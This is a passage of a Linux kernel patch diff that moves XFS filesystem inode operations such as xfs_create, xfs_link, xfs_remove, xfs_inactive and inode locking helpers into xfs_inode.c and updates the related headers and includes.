+ } + + /* + * If any of the previous locks we have locked is in the AIL, + * we must TRY to get the second and subsequent locks. If + * we can't get any, we must release all we have + * and try again. + */ + + if (try_lock) { + /* try_lock must be 0 if i is 0. */ + /* + * try_lock means we have an inode locked + * that is in the AIL. + */ + ASSERT(i != 0); + if (!xfs_ilock_nowait(ips[i], xfs_lock_inumorder(lock_mode, i))) { + attempts++; + + /* + * Unlock all previous guys and try again. + * xfs_iunlock will try to push the tail + * if the inode is in the AIL. + */ + + for(j = i - 1; j >= 0; j--) { + + /* + * Check to see if we've already + * unlocked this one. + * Not the first one going back, + * and the inode ptr is the same. + */ + if ((j != (i - 1)) && ips[j] == + ips[j+1]) + continue; + + xfs_iunlock(ips[j], lock_mode); + } + + if ((attempts % 5) == 0) { + delay(1); /* Don't just spin the CPU */ +#ifdef DEBUG + xfs_lock_delays++; +#endif + } + i = 0; + try_lock = 0; + goto again; + } + } else { + xfs_ilock(ips[i], xfs_lock_inumorder(lock_mode, i)); + } + } + +#ifdef DEBUG + if (attempts) { + if (attempts < 5) xfs_small_retries++; + else if (attempts < 100) xfs_middle_retries++; + else xfs_lots_retries++; + } else { + xfs_locked_n++; + } +#endif +} + +/* + * xfs_lock_two_inodes() can only be used to lock one type of lock + * at a time - the iolock or the ilock, but not both at once. If + * we lock both at once, lockdep will report false positives saying + * we have violated locking orders. + */ +void +xfs_lock_two_inodes( + xfs_inode_t *ip0, + xfs_inode_t *ip1, + uint lock_mode) +{ + xfs_inode_t *temp; + int attempts = 0; + xfs_log_item_t *lp; + + if (lock_mode & (XFS_IOLOCK_SHARED|XFS_IOLOCK_EXCL)) + ASSERT((lock_mode & (XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)) == 0); + ASSERT(ip0->i_ino != ip1->i_ino); + + if (ip0->i_ino > ip1->i_ino) { + temp = ip0; + ip0 = ip1; + ip1 = temp; + } + + again: + xfs_ilock(ip0, xfs_lock_inumorder(lock_mode, 0)); + + /* + * If the first lock we have locked is in the AIL, we must TRY to get + * the second lock. If we can't get it, we must release the first one + * and try again. + */ + lp = (xfs_log_item_t *)ip0->i_itemp; + if (lp && (lp->li_flags & XFS_LI_IN_AIL)) { + if (!xfs_ilock_nowait(ip1, xfs_lock_inumorder(lock_mode, 1))) { + xfs_iunlock(ip0, lock_mode); + if ((++attempts % 5) == 0) + delay(1); /* Don't just spin the CPU */ + goto again; + } + } else { + xfs_ilock(ip1, xfs_lock_inumorder(lock_mode, 1)); + } +} + + void __xfs_iflock( struct xfs_inode *ip) @@ -382,6 +569,49 @@ xfs_dic2xflags( } /* + * Lookups up an inode from "name". If ci_name is not NULL, then a CI match + * is allowed, otherwise it has to be an exact match. If a CI match is found, + * ci_name->name will point to a the actual name (caller must free) or + * will be set to NULL if an exact match is found. + */ +int +xfs_lookup( + xfs_inode_t *dp, + struct xfs_name *name, + xfs_inode_t **ipp, + struct xfs_name *ci_name) +{ + xfs_ino_t inum; + int error; + uint lock_mode; + + trace_xfs_lookup(dp, name); + + if (XFS_FORCED_SHUTDOWN(dp->i_mount)) + return XFS_ERROR(EIO); + + lock_mode = xfs_ilock_map_shared(dp); + error = xfs_dir_lookup(NULL, dp, name, &inum, ci_name); + xfs_iunlock_map_shared(dp, lock_mode); + + if (error) + goto out; + + error = xfs_iget(dp->i_mount, NULL, inum, 0, 0, ipp); + if (error) + goto out_free_name; + + return 0; + +out_free_name: + if (ci_name) + kmem_free(ci_name->name); +out: + *ipp = NULL; + return error; +} + +/* * Allocate an inode on disk and return a copy of its in-core version. * The in-core inode is locked exclusively. Set mode, nlink, and rdev * appropriately within the inode. The uid and gid for the inode are @@ -632,6 +862,307 @@ xfs_ialloc( return 0; } +int +xfs_create( + xfs_inode_t *dp, + struct xfs_name *name, + umode_t mode, + xfs_dev_t rdev, + xfs_inode_t **ipp) +{ + int is_dir = S_ISDIR(mode); + struct xfs_mount *mp = dp->i_mount; + struct xfs_inode *ip = NULL; + struct xfs_trans *tp = NULL; + int error; + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + bool unlock_dp_on_error = false; + uint cancel_flags; + int committed; + prid_t prid; + struct xfs_dquot *udqp = NULL; + struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; + uint resblks; + uint log_res; + uint log_count; + + trace_xfs_create(dp, name); + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) + prid = xfs_get_projid(dp); + else + prid = XFS_PROJID_DEFAULT; + + /* + * Make sure that we have allocated dquot(s) on disk. + */ + error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); + if (error) + return error; + + if (is_dir) { + rdev = 0; + resblks = XFS_MKDIR_SPACE_RES(mp, name->len); + log_res = XFS_MKDIR_LOG_RES(mp); + log_count = XFS_MKDIR_LOG_COUNT; + tp = xfs_trans_alloc(mp, XFS_TRANS_MKDIR); + } else { + resblks = XFS_CREATE_SPACE_RES(mp, name->len); + log_res = XFS_CREATE_LOG_RES(mp); + log_count = XFS_CREATE_LOG_COUNT; + tp = xfs_trans_alloc(mp, XFS_TRANS_CREATE); + } + + cancel_flags = XFS_TRANS_RELEASE_LOG_RES; + + /* + * Initially assume that the file does not exist and + * reserve the resources for that case. If that is not + * the case we'll drop the one we have and get a more + * appropriate transaction later. + */ + error = xfs_trans_reserve(tp, resblks, log_res, 0, + XFS_TRANS_PERM_LOG_RES, log_count); + if (error == ENOSPC) { + /* flush outstanding delalloc blocks and retry */ + xfs_flush_inodes(mp); + error = xfs_trans_reserve(tp, resblks, log_res, 0, + XFS_TRANS_PERM_LOG_RES, log_count); + } + if (error == ENOSPC) { + /* No space at all so try a "no-allocation" reservation */ + resblks = 0; + error = xfs_trans_reserve(tp, 0, log_res, 0, + XFS_TRANS_PERM_LOG_RES, log_count); + } + if (error) { + cancel_flags = 0; + goto out_trans_cancel; + } + + xfs_ilock(dp, XFS_ILOCK_EXCL | XFS_ILOCK_PARENT); + unlock_dp_on_error = true; + + xfs_bmap_init(&free_list, &first_block); + + /* + * Reserve disk quota and the inode. + */ + error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, + pdqp, resblks, 1, 0); + if (error) + goto out_trans_cancel; + + error = xfs_dir_canenter(tp, dp, name, resblks); + if (error) + goto out_trans_cancel; + + /* + * A newly created regular or special file just has one directory + * entry pointing to them, but a directory also the "." entry + * pointing to itself. + */ + error = xfs_dir_ialloc(&tp, dp, mode, is_dir ? 2 : 1, rdev, + prid, resblks > 0, &ip, &committed); + if (error) { + if (error == ENOSPC) + goto out_trans_cancel; + goto out_trans_abort; + } + + /* + * Now we join the directory inode to the transaction. We do not do it + * earlier because xfs_dir_ialloc might commit the previous transaction + * (and release all the locks). An error from here on will result in + * the transaction cancel unlocking dp so don't do it explicitly in the + * error path. + */ + xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); + unlock_dp_on_error = false; + + error = xfs_dir_createname(tp, dp, name, ip->i_ino, + &first_block, &free_list, resblks ? + resblks - XFS_IALLOC_SPACE_RES(mp) : 0); + if (error) { + ASSERT(error != ENOSPC); + goto out_trans_abort; + } + xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); + xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); + + if (is_dir) { + error = xfs_dir_init(tp, ip, dp); + if (error) + goto out_bmap_cancel; + + error = xfs_bumplink(tp, dp); + if (error) + goto out_bmap_cancel; + } + + /* + * If this is a synchronous mount, make sure that the + * create transaction goes to disk before returning to + * the user. + */ + if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) + xfs_trans_set_sync(tp); + + /* + * Attach the dquot(s) to the inodes and modify them incore. + * These ids of the inode couldn't have changed since the new + * inode has been locked ever since it was created. + */ + xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_bmap_cancel; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto out_release_inode; + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + + *ipp = ip; + return 0; + + out_bmap_cancel: + xfs_bmap_cancel(&free_list); + out_trans_abort: + cancel_flags |= XFS_TRANS_ABORT; + out_trans_cancel: + xfs_trans_cancel(tp, cancel_flags); + out_release_inode: + /* + * Wait until after the current transaction is aborted to + * release the inode. This prevents recursive transactions + * and deadlocks from xfs_inactive. + */ + if (ip) + IRELE(ip); + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); + + if (unlock_dp_on_error) + xfs_iunlock(dp, XFS_ILOCK_EXCL); + return error; +} + +int +xfs_link( + xfs_inode_t *tdp, + xfs_inode_t *sip, + struct xfs_name *target_name) +{ + xfs_mount_t *mp = tdp->i_mount; + xfs_trans_t *tp; + int error; + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int cancel_flags; + int committed; + int resblks; + + trace_xfs_link(tdp, target_name); + + ASSERT(!S_ISDIR(sip->i_d.di_mode)); + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + error = xfs_qm_dqattach(sip, 0); + if (error) + goto std_return; + + error = xfs_qm_dqattach(tdp, 0); + if (error) + goto std_return; + + tp = xfs_trans_alloc(mp, XFS_TRANS_LINK); + cancel_flags = XFS_TRANS_RELEASE_LOG_RES; + resblks = XFS_LINK_SPACE_RES(mp, target_name->len); + error = xfs_trans_reserve(tp, resblks, XFS_LINK_LOG_RES(mp), 0, + XFS_TRANS_PERM_LOG_RES, XFS_LINK_LOG_COUNT); + if (error == ENOSPC) { + resblks = 0; + error = xfs_trans_reserve(tp, 0, XFS_LINK_LOG_RES(mp), 0, + XFS_TRANS_PERM_LOG_RES, XFS_LINK_LOG_COUNT); + } + if (error) { + cancel_flags = 0; + goto error_return; + } + + xfs_lock_two_inodes(sip, tdp, XFS_ILOCK_EXCL); + + xfs_trans_ijoin(tp, sip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, tdp, XFS_ILOCK_EXCL); + + /* + * If we are using project inheritance, we only allow hard link + * creation in our tree when the project IDs are the same; else + * the tree quota mechanism could be circumvented. + */ + if (unlikely((tdp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) && + (xfs_get_projid(tdp) != xfs_get_projid(sip)))) { + error = XFS_ERROR(EXDEV); + goto error_return; + } + + error = xfs_dir_canenter(tp, tdp, target_name, resblks); + if (error) + goto error_return; + + xfs_bmap_init(&free_list, &first_block); + + error = xfs_dir_createname(tp, tdp, target_name, sip->i_ino, + &first_block, &free_list, resblks); + if (error) + goto abort_return; + xfs_trans_ichgtime(tp, tdp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); + xfs_trans_log_inode(tp, tdp, XFS_ILOG_CORE); + + error = xfs_bumplink(tp, sip); + if (error) + goto abort_return; + + /* + * If this is a synchronous mount, make sure that the + * link transaction goes to disk before returning to + * the user. + */ + if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) { + xfs_trans_set_sync(tp); + } + + error = xfs_bmap_finish (&tp, &free_list, &committed); + if (error) { + xfs_bmap_cancel(&free_list); + goto abort_return; + } + + return xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + + abort_return: + cancel_flags |= XFS_TRANS_ABORT; + error_return: + xfs_trans_cancel(tp, cancel_flags); + std_return: + return error; +} + /* * Free up the underlying blocks past new_size. The new size must be smaller * than the current size. This routine can be used both for the attribute and @@ -771,6 +1302,276 @@ out_bmap_cancel: goto out; } +int +xfs_release( + xfs_inode_t *ip) +{ + xfs_mount_t *mp = ip->i_mount; + int error; + + if (!S_ISREG(ip->i_d.di_mode) || (ip->i_d.di_mode == 0)) + return 0; + + /* If this is a read-only mount, don't do this (would generate I/O) */ + if (mp->m_flags & XFS_MOUNT_RDONLY) + return 0; + + if (!XFS_FORCED_SHUTDOWN(mp)) { + int truncated; + + /* + * If we are using filestreams, and we have an unlinked + * file that we are processing the last close on, then nothing + * will be able to reopen and write to this file. Purge this + * inode from the filestreams cache so that it doesn't delay + * teardown of the inode. + */ + if ((ip->i_d.di_nlink == 0) && xfs_inode_is_filestream(ip)) + xfs_filestream_deassociate(ip); + + /* + * If we previously truncated this file and removed old data + * in the process, we want to initiate "early" writeout on + * the last close. This is an attempt to combat the notorious + * NULL files problem which is particularly noticeable from a + * truncate down, buffered (re-)write (delalloc), followed by + * a crash. What we are effectively doing here is + * significantly reducing the time window where we'd otherwise + * be exposed to that problem. + */ + truncated = xfs_iflags_test_and_clear(ip, XFS_ITRUNCATED); + if (truncated) { + xfs_iflags_clear(ip, XFS_IDIRTY_RELEASE); + if (VN_DIRTY(VFS_I(ip)) && ip->i_delayed_blks > 0) { + error = -filemap_flush(VFS_I(ip)->i_mapping); + if (error) + return error; + } + } + } + + if (ip->i_d.di_nlink == 0) + return 0; + + if (xfs_can_free_eofblocks(ip, false)) { + + /* + * If we can't get the iolock just skip truncating the blocks + * past EOF because we could deadlock with the mmap_sem + * otherwise. We'll get another chance to drop them once the + * last reference to the inode is dropped, so we'll never leak + * blocks permanently. + * + * Further, check if the inode is being opened, written and + * closed frequently and we have delayed allocation blocks + * outstanding (e.g. streaming writes from the NFS server), + * truncating the blocks past EOF will cause fragmentation to + * occur. + * + * In this case don't do the truncation, either, but we have to + * be careful how we detect this case. Blocks beyond EOF show + * up as i_delayed_blks even when the inode is clean, so we + * need to truncate them away first before checking for a dirty + * release. Hence on the first dirty close we will still remove + * the speculative allocation, but after that we will leave it + * in place. + */ + if (xfs_iflags_test(ip, XFS_IDIRTY_RELEASE)) + return 0; + + error = xfs_free_eofblocks(mp, ip, true); + if (error && error != EAGAIN) + return error; + + /* delalloc blocks after truncation means it really is dirty */ + if (ip->i_delayed_blks) + xfs_iflags_set(ip, XFS_IDIRTY_RELEASE); + } + return 0; +} + +/* + * xfs_inactive + * + * This is called when the vnode reference count for the vnode + * goes to zero. If the file has been unlinked, then it must + * now be truncated. Also, we clear all of the read-ahead state + * kept for the inode here since the file is now closed. + */ +int +xfs_inactive( + xfs_inode_t *ip) +{ + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int committed; + xfs_trans_t *tp; + xfs_mount_t *mp; + int error; + int truncate = 0; + + /* + * If the inode is already free, then there can be nothing + * to clean up here. + */ + if (ip->i_d.di_mode == 0 || is_bad_inode(VFS_I(ip))) { + ASSERT(ip->i_df.if_real_bytes == 0); + ASSERT(ip->i_df.if_broot_bytes == 0); + return VN_INACTIVE_CACHE; + } + + mp = ip->i_mount; + + error = 0; + + /* If this is a read-only mount, don't do this (would generate I/O) */ + if (mp->m_flags & XFS_MOUNT_RDONLY) + goto out; + + if (ip->i_d.di_nlink != 0) { + /* + * force is true because we are evicting an inode from the + * cache. Post-eof blocks must be freed, lest we end up with + * broken free space accounting. + */ + if (xfs_can_free_eofblocks(ip, true)) { + error = xfs_free_eofblocks(mp, ip, false); + if (error) + return VN_INACTIVE_CACHE; + } + goto out; + } + + if (S_ISREG(ip->i_d.di_mode) && + (ip->i_d.di_size != 0 || XFS_ISIZE(ip) != 0 || + ip->i_d.di_nextents > 0 || ip->i_delayed_blks > 0)) + truncate = 1; + + error = xfs_qm_dqattach(ip, 0); + if (error) + return VN_INACTIVE_CACHE; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, 0, + (truncate || S_ISLNK(ip->i_d.di_mode)) ? + XFS_ITRUNCATE_LOG_RES(mp) : + XFS_IFREE_LOG_RES(mp), + 0, + XFS_TRANS_PERM_LOG_RES, + XFS_ITRUNCATE_LOG_COUNT); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + return VN_INACTIVE_CACHE; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + if (S_ISLNK(ip->i_d.di_mode)) { + error = xfs_inactive_symlink(ip, &tp); + if (error) + goto out_cancel; + } else if (truncate) { + ip->i_d.di_size = 0; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + + error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); + if (error) + goto out_cancel; + + ASSERT(ip->i_d.di_nextents == 0); + } + + /* + * If there are attributes associated with the file then blow them away + * now. The code calls a routine that recursively deconstructs the + * attribute fork. We need to just commit the current transaction + * because we can't use it for xfs_attr_inactive(). + */ + if (ip->i_d.di_anextents > 0) { + ASSERT(ip->i_d.di_forkoff != 0); + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto out_unlock; + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + + error = xfs_attr_inactive(ip); + if (error) + goto out; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, 0, + XFS_IFREE_LOG_RES(mp), + 0, XFS_TRANS_PERM_LOG_RES, + XFS_INACTIVE_LOG_COUNT); + if (error) { + xfs_trans_cancel(tp, 0); + goto out; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + } + + if (ip->i_afp) + xfs_idestroy_fork(ip, XFS_ATTR_FORK); + + ASSERT(ip->i_d.di_anextents == 0); + + /* + * Free the inode. + */ + xfs_bmap_init(&free_list, &first_block); + error = xfs_ifree(tp, ip, &free_list); + if (error) { + /* + * If we fail to free the inode, shut down. The cancel + * might do that, we need to make sure. Otherwise the + * inode might be lost for a long time or forever. + */ + if (!XFS_FORCED_SHUTDOWN(mp)) { + xfs_notice(mp, "%s: xfs_ifree returned error %d", + __func__, error); + xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); + } + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); + } else { + /* + * Credit the quota account(s). The inode is gone. + */ + xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); + + /* + * Just ignore errors at this point. There is nothing we can + * do except to try to keep going. Make sure it's not a silent + * error. + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", + __func__, error); + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + xfs_notice(mp, "%s: xfs_trans_commit returned error %d", + __func__, error); + } + + /* + * Release the dquots held by inode, if any. + */ + xfs_qm_dqdetach(ip); +out_unlock: + xfs_iunlock(ip, XFS_ILOCK_EXCL); +out: + return VN_INACTIVE_CACHE; +out_cancel: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + goto out_unlock; +} + /* * This is called when the inode's link count goes to 0. * We place the on-disk inode on a list in the AGI. It @@ -1302,6 +2103,170 @@ xfs_iunpin_wait( __xfs_iunpin_wait(ip); } +int +xfs_remove( + xfs_inode_t *dp, + struct xfs_name *name, + xfs_inode_t *ip) +{ + xfs_mount_t *mp = dp->i_mount; + xfs_trans_t *tp = NULL; + int is_dir = S_ISDIR(ip->i_d.di_mode); + int error = 0; + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int cancel_flags; + int committed; + int link_zero; + uint resblks; + uint log_count; + + trace_xfs_remove(dp, name); + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + error = xfs_qm_dqattach(dp, 0); + if (error) + goto std_return; + + error = xfs_qm_dqattach(ip, 0); + if (error) + goto std_return; + + if (is_dir) { + tp = xfs_trans_alloc(mp, XFS_TRANS_RMDIR); + log_count = XFS_DEFAULT_LOG_COUNT; + } else { + tp = xfs_trans_alloc(mp, XFS_TRANS_REMOVE); + log_count = XFS_REMOVE_LOG_COUNT; + } + cancel_flags = XFS_TRANS_RELEASE_LOG_RES; + + /* + * We try to get the real space reservation first, + * allowing for directory btree deletion(s) implying + * possible bmap insert(s). If we can't get the space + * reservation then we use 0 instead, and avoid the bmap + * btree insert(s) in the directory code by, if the bmap + * insert tries to happen, instead trimming the LAST + * block from the directory. + */ + resblks = XFS_REMOVE_SPACE_RES(mp); + error = xfs_trans_reserve(tp, resblks, XFS_REMOVE_LOG_RES(mp), 0, + XFS_TRANS_PERM_LOG_RES, log_count); + if (error == ENOSPC) { + resblks = 0; + error = xfs_trans_reserve(tp, 0, XFS_REMOVE_LOG_RES(mp), 0, + XFS_TRANS_PERM_LOG_RES, log_count); + } + if (error) { + ASSERT(error != ENOSPC); + cancel_flags = 0; + goto out_trans_cancel; + } + + xfs_lock_two_inodes(dp, ip, XFS_ILOCK_EXCL); + + xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + + /* + * If we're removing a directory perform some additional validation. + */ + if (is_dir) { + ASSERT(ip->i_d.di_nlink >= 2); + if (ip->i_d.di_nlink != 2) { + error = XFS_ERROR(ENOTEMPTY); + goto out_trans_cancel; + } + if (!xfs_dir_isempty(ip)) { + error = XFS_ERROR(ENOTEMPTY); + goto out_trans_cancel; + } + } + + xfs_bmap_init(&free_list, &first_block); + error = xfs_dir_removename(tp, dp, name, ip->i_ino, + &first_block, &free_list, resblks); + if (error) { + ASSERT(error != ENOENT); + goto out_bmap_cancel; + } + xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); + + if (is_dir) { + /* + * Drop the link from ip's "..". + */ + error = xfs_droplink(tp, dp); + if (error) + goto out_bmap_cancel; + + /* + * Drop the "." link from ip to self. + */ + error = xfs_droplink(tp, ip); + if (error) + goto out_bmap_cancel; + } else { + /* + * When removing a non-directory we need to log the parent + * inode here. For a directory this is done implicitly + * by the xfs_droplink call for the ".." entry. + */ + xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); + } + + /* + * Drop the link from dp to ip. + */ + error = xfs_droplink(tp, ip); + if (error) + goto out_bmap_cancel; + + /* + * Determine if this is the last link while + * we are in the transaction. + */ + link_zero = (ip->i_d.di_nlink == 0); + + /* + * If this is a synchronous mount, make sure that the + * remove transaction goes to disk before returning to + * the user. + */ + if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) + xfs_trans_set_sync(tp); + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_bmap_cancel; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto std_return; + + /* + * If we are using filestreams, kill the stream association. + * If the file is still open it may get a new one but that + * will get killed on last close in xfs_close() so we don't + * have to worry about that. + */ + if (!is_dir && link_zero && xfs_inode_is_filestream(ip)) + xfs_filestream_deassociate(ip); + + return 0; + + out_bmap_cancel: + xfs_bmap_cancel(&free_list); + cancel_flags |= XFS_TRANS_ABORT; + out_trans_cancel: + xfs_trans_cancel(tp, cancel_flags); + std_return: + return error; +} + STATIC int xfs_iflush_cluster( xfs_inode_t *ip, @@ -1740,39 +2705,3 @@ xfs_iflush_int( corrupt_out: return XFS_ERROR(EFSCORRUPTED); } - -/* - * Test whether it is appropriate to check an inode for and free post EOF - * blocks. The 'force' parameter determines whether we should also consider - * regular files that are marked preallocated or append-only. - */ -bool -xfs_can_free_eofblocks(struct xfs_inode *ip, bool force) -{ - /* prealloc/delalloc exists only on regular files */ - if (!S_ISREG(ip->i_d.di_mode)) - return false; - - /* - * Zero sized files with no cached pages and delalloc blocks will not - * have speculative prealloc/delalloc blocks to remove. - */ - if (VFS_I(ip)->i_size == 0 && - VN_CACHED(VFS_I(ip)) == 0 && - ip->i_delayed_blks == 0) - return false; - - /* If we haven't read in the extent list, then don't do it now. */ - if (!(ip->i_df.if_flags & XFS_IFEXTENTS)) - return false; - - /* - * Do not free real preallocated or append-only files unless the file - * has delalloc blocks and we are forced to remove them. - */ - if (ip->i_d.di_flags & (XFS_DIFLAG_PREALLOC | XFS_DIFLAG_APPEND)) - if (!force || ip->i_delayed_blks == 0) - return false; - - return true; -} diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 8f775ed..2a63470 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -315,9 +315,21 @@ static inline int xfs_isiflocked(struct xfs_inode *ip) ((pip)->i_d.di_mode & S_ISGID)) -/* - * xfs_inode.c prototypes. - */ +int xfs_release(struct xfs_inode *ip); +int xfs_inactive(struct xfs_inode *ip); +int xfs_lookup(struct xfs_inode *dp, struct xfs_name *name, + struct xfs_inode **ipp, struct xfs_name *ci_name); +int xfs_create(struct xfs_inode *dp, struct xfs_name *name, + umode_t mode, xfs_dev_t rdev, struct xfs_inode **ipp); +int xfs_remove(struct xfs_inode *dp, struct xfs_name *name, + struct xfs_inode *ip); +int xfs_link(struct xfs_inode *tdp, struct xfs_inode *sip, + struct xfs_name *target_name); +int xfs_rename(struct xfs_inode *src_dp, struct xfs_name *src_name, + struct xfs_inode *src_ip, struct xfs_inode *target_dp, + struct xfs_name *target_name, + struct xfs_inode *target_ip); + void xfs_ilock(xfs_inode_t *, uint); int xfs_ilock_nowait(xfs_inode_t *, uint); void xfs_iunlock(xfs_inode_t *, uint); @@ -348,6 +360,11 @@ void xfs_lock_two_inodes(xfs_inode_t *, xfs_inode_t *, uint); xfs_extlen_t xfs_get_extsz_hint(struct xfs_inode *ip); +/* from xfs_file.c */ +int xfs_zero_eof(struct xfs_inode *, xfs_off_t, xfs_fsize_t); +int xfs_iozero(struct xfs_inode *, loff_t, size_t); + + #define IHOLD(ip) \ do { \ ASSERT(atomic_read(&VFS_I(ip)->i_count) > 0) ; \ diff --git a/fs/xfs/xfs_inode_buf.h b/fs/xfs/xfs_inode_buf.h index b5f1e22..aae9fc4 100644 --- a/fs/xfs/xfs_inode_buf.h +++ b/fs/xfs/xfs_inode_buf.h @@ -40,7 +40,6 @@ int xfs_iread(struct xfs_mount *, struct xfs_trans *, void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); void xfs_dinode_to_disk(struct xfs_dinode *, struct xfs_icdinode *); -bool xfs_can_free_eofblocks(struct xfs_inode *, bool); #if defined(DEBUG) void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 7c27538..ce636bf 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -38,13 +38,13 @@ #include "xfs_utils.h" #include "xfs_dfrag.h" #include "xfs_fsops.h" -#include "xfs_vnodeops.h" #include "xfs_discard.h" #include "xfs_quota.h" #include "xfs_inode_item.h" #include "xfs_export.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_symlink.h" #include #include @@ -352,6 +352,40 @@ xfs_readlink_by_handle( return error; } +int +xfs_set_dmattrs( + xfs_inode_t *ip, + u_int evmask, + u_int16_t state) +{ + xfs_mount_t *mp = ip->i_mount; + xfs_trans_t *tp; + int error; + + if (!capable(CAP_SYS_ADMIN)) + return XFS_ERROR(EPERM); + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + tp = xfs_trans_alloc(mp, XFS_TRANS_SET_DMATTRS); + error = xfs_trans_reserve(tp, 0, XFS_ICHANGE_LOG_RES (mp), 0, 0, 0); + if (error) { + xfs_trans_cancel(tp, 0); + return error; + } + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + + ip->i_d.di_dmevmask = evmask; + ip->i_d.di_dmstate = state; + + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + error = xfs_trans_commit(tp, 0); + + return error; +} + STATIC int xfs_fssetdm_by_handle( struct file *parfilp, diff --git a/fs/xfs/xfs_ioctl.h b/fs/xfs/xfs_ioctl.h index d56173b..1233dee 100644 --- a/fs/xfs/xfs_ioctl.h +++ b/fs/xfs/xfs_ioctl.h @@ -82,4 +82,10 @@ xfs_file_compat_ioctl( unsigned int cmd, unsigned long arg); +extern int +xfs_set_dmattrs( + struct xfs_inode *ip, + u_int evmask, + u_int16_t state); + #endif diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index c0c6625..55a3072 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -34,7 +34,6 @@ #include "xfs_itable.h" #include "xfs_error.h" #include "xfs_dfrag.h" -#include "xfs_vnodeops.h" #include "xfs_fsops.h" #include "xfs_alloc.h" #include "xfs_rtalloc.h" diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 17b70f0..e0cefd4 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -37,10 +37,10 @@ #include "xfs_attr.h" #include "xfs_buf_item.h" #include "xfs_utils.h" -#include "xfs_vnodeops.h" #include "xfs_inode_item.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_symlink.h" #include #include diff --git a/fs/xfs/xfs_iops.h b/fs/xfs/xfs_iops.h index ef41c92..d81fb41 100644 --- a/fs/xfs/xfs_iops.h +++ b/fs/xfs/xfs_iops.h @@ -27,4 +27,17 @@ extern ssize_t xfs_vn_listxattr(struct dentry *, char *data, size_t size); extern void xfs_setup_inode(struct xfs_inode *); +/* + * Internal setattr interfaces. + */ +#define XFS_ATTR_DMI 0x01 /* invocation from a DMI function */ +#define XFS_ATTR_NONBLOCK 0x02 /* return 